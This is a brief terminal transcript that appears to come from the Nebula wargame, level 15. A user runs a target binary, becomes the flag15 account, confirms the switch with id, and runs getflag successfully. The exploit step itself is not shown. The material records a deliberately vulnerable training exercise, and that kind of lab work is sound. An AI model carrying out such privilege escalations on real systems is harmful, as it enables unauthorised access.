level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15@nebula:/var/tmp/flag15$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
flag15@nebula:/var/tmp/flag15$ getflag
You have successfully executed getflag on a target account
flag15@nebula:/var/tmp/flag15$